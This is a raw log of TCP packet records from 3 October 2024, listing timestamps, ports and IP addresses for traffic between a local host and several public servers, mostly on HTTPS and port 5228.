Oct 3, 2024 17:18:32.740462065 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:32.741087914 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.741147041 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:32.741959095 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.742033005 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:32.742897034 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:32.743401051 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:32.749762058 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.749850988 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.750170946 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.750232935 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.750242949 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.750849009 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.751089096 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.751123905 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.752029896 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.752355099 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.752490997 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.752500057 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.752640009 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.752907038 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.752988100 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.752999067 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.753160000 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:32.793113947 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.793123007 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:32.793181896 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:33.015208006 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:33.038961887 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:33.039305925 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:33.039396048 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:33.039937019 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:33.039978981 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:33.065164089 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:33.151429892 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:33.152255058 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:33.157529116 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:33.157614946 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.318500042 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:34.318655968 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:34.318759918 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:34.319540024 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:34.319566965 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:34.348820925 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.349370956 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:34.349478006 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:34.349582911 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:34.349854946 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:34.349889994 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:34.355190992 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.355298996 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.355468988 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.362273932 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.950110912 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:34.966734886 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.966836929 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.966870070 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.966903925 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.967020035 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.967056036 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.967083931 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.967092991 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.967123032 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.967148066 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.967664003 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.968561888 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:34.972553968 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:34.973324060 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:35.000427008 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.000812054 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:35.000844955 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.001431942 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.001756907 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:35.001862049 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.001930952 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:35.047401905 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.251498938 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:35.289326906 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.289823055 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.289884090 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:35.298795938 CEST	49739	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:35.298819065 CEST	443	49739	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:35.301093102 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:35.388360023 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:35.428117990 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:35.604168892 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:38.861033916 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:39.163182974 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:39.319020033 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:39.319119930 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:39.319200993 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:39.319365978 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:39.319412947 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:39.763079882 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:39.778326988 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:40.165662050 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.166017056 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.166052103 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.167123079 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.167197943 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.168211937 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.168342113 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.168442965 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.168454885 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.210215092 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.470833063 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.470906973 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.471074104 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.471473932 CEST	49746	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.471508980 CEST	443	49746	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.486402988 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.486443043 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.486495018 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.487040997 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:40.487052917 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:40.513751984 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:40.513842106 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:40.514116049 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:40.514149904 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:40.514168024 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:40.514215946 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:40.514535904 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:40.514595985 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:40.514606953 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:40.514625072 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:40.851207972 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:40.851255894 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:40.851294041 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:40.851315022 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:40.896157026 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:40.938546896 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:40.950476885 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:40.950571060 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:40.950593948 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:40.950644970 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:40.950680017 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:40.950751066 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:40.950911999 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:40.950936079 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:40.951037884 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:40.951050043 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:40.951791048 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:40.951837063 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:40.951894999 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:40.952049971 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:40.952063084 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:40.991130114 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:40.994210958 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 3, 2024 17:18:41.324075937 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:41.324467897 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:41.324522018 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:41.326031923 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:41.326143980 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:41.326492071 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:41.326584101 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:41.327208996 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:41.327229023 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:41.331403971 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.331640005 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.331702948 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.332746029 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.332820892 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.335604906 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.335691929 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.335764885 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.335784912 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.348048925 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.348282099 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.348313093 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.349932909 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.350018024 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.350311995 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.350430965 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.374325037 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:41.390284061 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.390286922 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.390316010 CEST	443	49749	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:41.412790060 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:41.413292885 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:41.413311005 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:41.413918972 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.414115906 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.414148092 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.414463043 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:41.414526939 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:41.415596962 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.415611982 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:41.415682077 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.415716887 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:41.416074991 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:41.416089058 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:41.416512012 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.416615963 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.416620016 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.417395115 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.417608976 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.417622089 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.418688059 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.418771982 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.419038057 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.419089079 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.419131994 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.438131094 CEST	49749	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:41.463408947 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.463414907 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.469141006 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:41.469233990 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.469238997 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.469247103 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.469300985 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:41.516135931 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:41.516280890 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.554752111 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.554800034 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.554828882 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.554966927 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555003881 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.555078030 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555124044 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.555190086 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.555284023 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555397987 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555469036 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.555485964 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555951118 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555965900 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.555995941 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.556024075 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.556082964 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.556132078 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.556200027 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.556277990 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.556648016 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.556658030 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:42.556704998 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:42.556755066 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:42.556808949 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:42.556927919 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:42.557003021 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:42.557352066 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.557359934 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.557511091 CEST	49747	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:18:42.557539940 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.557555914 CEST	443	49747	136.243.216.232	192.168.2.17
Oct 3, 2024 17:18:42.557607889 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.557852030 CEST	49751	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.557863951 CEST	443	49751	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.558106899 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.558151960 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.558199883 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.558232069 CEST	49752	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:42.558257103 CEST	443	49752	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:42.558279037 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.558279037 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.558279037 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.558350086 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.560193062 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.560276031 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.560401917 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.560537100 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.560537100 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.560626984 CEST	49750	443	192.168.2.17	104.26.2.30
Oct 3, 2024 17:18:42.560666084 CEST	443	49750	104.26.2.30	192.168.2.17
Oct 3, 2024 17:18:42.561613083 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.561674118 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.561678886 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.561700106 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.561775923 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.565282106 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.565567970 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.565577030 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.565642118 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.565732002 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.565916061 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.566001892 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.566121101 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.566121101 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.566186905 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.566947937 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.567014933 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.567034006 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.567091942 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.567792892 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.567862988 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.567929029 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.567987919 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.568002939 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.568057060 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.568104982 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.568120003 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.568217039 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.568265915 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.568279028 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.568500042 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.568552971 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.568567038 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.570338011 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.570406914 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.570420980 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.570827961 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.570883036 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.570897102 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.570940971 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.570990086 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.571003914 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.571402073 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.571465969 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.571480989 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.571667910 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.571721077 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.571734905 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572041035 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572093964 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.572108030 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572454929 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572606087 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.572619915 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572734118 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572782993 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.572797060 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572819948 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.572880983 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.573179007 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:42.573268890 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:42.573275089 CEST	49748	443	192.168.2.17	18.156.16.189
Oct 3, 2024 17:18:42.573301077 CEST	443	49748	18.156.16.189	192.168.2.17
Oct 3, 2024 17:18:42.573360920 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:42.574064016 CEST	49753	443	192.168.2.17	104.26.3.30
Oct 3, 2024 17:18:42.574145079 CEST	443	49753	104.26.3.30	192.168.2.17
Oct 3, 2024 17:18:42.595525026 CEST	443	49711	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:42.595695019 CEST	443	49711	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:42.595761061 CEST	49711	443	192.168.2.17	3.76.71.197
